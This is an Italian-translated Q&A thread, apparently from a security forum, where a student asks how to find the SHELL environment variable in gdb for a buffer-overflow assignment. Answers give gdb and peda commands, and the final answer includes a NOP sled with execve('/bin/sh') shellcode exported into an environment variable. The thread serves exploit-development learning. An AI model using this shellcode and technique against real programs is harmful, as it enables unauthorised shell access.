Ricerca delle variabili di ambiente con gdb, per sfruttare un overflow del buffer

10

Devo sfruttare un buffer overflow molto semplice in un programma C ++ vulnerabile per un compito e non riesco a trovare la variabile di ambiente SHELL.

Non ho mai lavorato con BoF prima e dopo aver letto molte domande simili, post, ecc. Ho queste informazioni (correggimi se è sbagliato):

  • Il programma memorizza le variabili di ambiente in una variabile globale chiamata environ
  • Posso trovare l'indirizzo di questa variabile in questo modo:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Ho bisogno di trovare la stringa /bin/bash in quella variabile per avviare una shell (ho già ottenuto gli indirizzi di sistema e di uscita, ho solo bisogno della route per la shell). E qui è dove non so cosa fare. Ho letto tutorial gdb, ma ancora niente. x/s 0xb7fd1b00 non restituisce nulla di utile.

posta Palantir 28.03.2012 - 19:31
fonte

4 risposte

15

environ è un puntatore al puntatore, in quanto ha il tipo char **environ .

Devi provare qualcosa del tipo:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "SHELL=/bin/bash"
    
risposta data 28.03.2012 - 21:18
fonte
3
  • Le variabili di ambiente sono 16 byte dal puntatore di base (% ebp).
  • Metti un punto di interruzione nella funzione principale e fallo,

(gdb) x/wx $ebp+0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c+4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS=/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Segnala questo blog

    
risposta data 07.06.2015 - 16:54
fonte
2

se hai peda installato per gdb, puoi semplicemente digitare questo in gdb:

gdb-peda$ searchmem SHELL

L'output mostrerebbe

Searching for 'SHELL' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("SHELL=/bin/bash")
    
risposta data 11.03.2015 - 20:52
fonte
0

Inoltre puoi usare solo "refsearch nome_variabile" se hai peda installato per gdb.

esempio:

Prima di tutto dovresti aggiungere una variabile (qualcosa come Shellcode) all'ambiente.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Quindi apri gdb con un programma di esempio, interrompi main ed esegui.

Quando il programma fa una pausa sul punto di interruzione, puoi cercare l'indirizzo dell'ambiente seguendo il comando.

refsearch Shellcode

    
risposta data 08.05.2017 - 07:23
fonte

Leggi altre domande sui tag